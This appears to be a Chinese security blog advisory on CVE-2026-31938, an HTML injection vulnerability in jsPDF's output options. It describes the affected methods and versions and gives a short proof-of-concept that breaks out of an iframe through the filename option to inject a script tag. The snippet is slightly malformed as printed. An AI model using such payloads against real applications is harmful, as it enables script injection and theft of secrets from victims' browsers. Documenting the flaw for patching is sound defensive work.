乐于分享
好东西不私藏

CVE-2026-31938|jsPDF存在HTML注入漏洞(POC)

CVE-2026-31938|jsPDF存在HTML注入漏洞(POC)

0x00 前言

jsPDF 是一个使用 JavaScript 创建 PDF 文档的开源库,它允许开发者直接在浏览器或 Node.js 环境中生成、操作 PDF 文件,无需依赖服务器端处理或额外插件。该库功能全面,支持添加文本、图像、图形、表格,并允许设置字体、颜色和布局。通过其丰富的 API,用户可以轻松实现复杂文档的生成,如报告、发票和表单,并能以多种方式输出,包括浏览器内预览、下载或作为数据流传输。

0x01 漏洞描述

用户对输出函数的options参数的控制允许攻击者将任意HTML(如脚本)注入到打开创建的PDF的浏览器上下文中。受影响的重载和选项包括:
“pdfojectnewwindow”:pdfObjectUrl选项和整个选项对象,它是JSON序列化的,并逐字包含在生成的HTML字符串中。
“pdfjsnewindow”:pdfJsUrl和文件名选项
“dataurlnewwindow”:文件名选项
在以下情况下可以利用该漏洞:攻击者为输出选项提供值,例如通过web界面。然后,这些值未经消毒(自动或半自动)传递给攻击受害者。受害者使用浏览器中的一种易受攻击的方法重载创建并打开带有攻击向量的PDF。因此,攻击者可以注入在受害者浏览器上下文中运行的脚本,并从该上下文中提取或修改机密。

0x02 CVE编号

CVE-2026-31938

0x03 影响版本

jsPDF <=4.2.0

0x04 漏洞详情

POC:

import { jsPDF } from 'jspdf';const doc new jsPDF();const payload =  'x\"></iframe><script>window.__n=1</script><iframe src="';doc.output('pdfjsnewwindow', {  filename: payload,  pdfJsUrl'viewer.html'});

0x05 参考链接

https://github.com/parallax/jsPDF/security/advisories/GHSA-wfv2-pwc8-crg5

推荐阅读:

CVE-2025-54068|Livewire组件远程代码执行漏洞(POC)

CVE-2025-55182|React/Next.js远程代码执行漏洞(POC)

CVE-2025-58034|Fortinet FortiWeb命令注入漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


      本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » CVE-2026-31938|jsPDF存在HTML注入漏洞(POC)

猜你喜欢

  • 暂无文章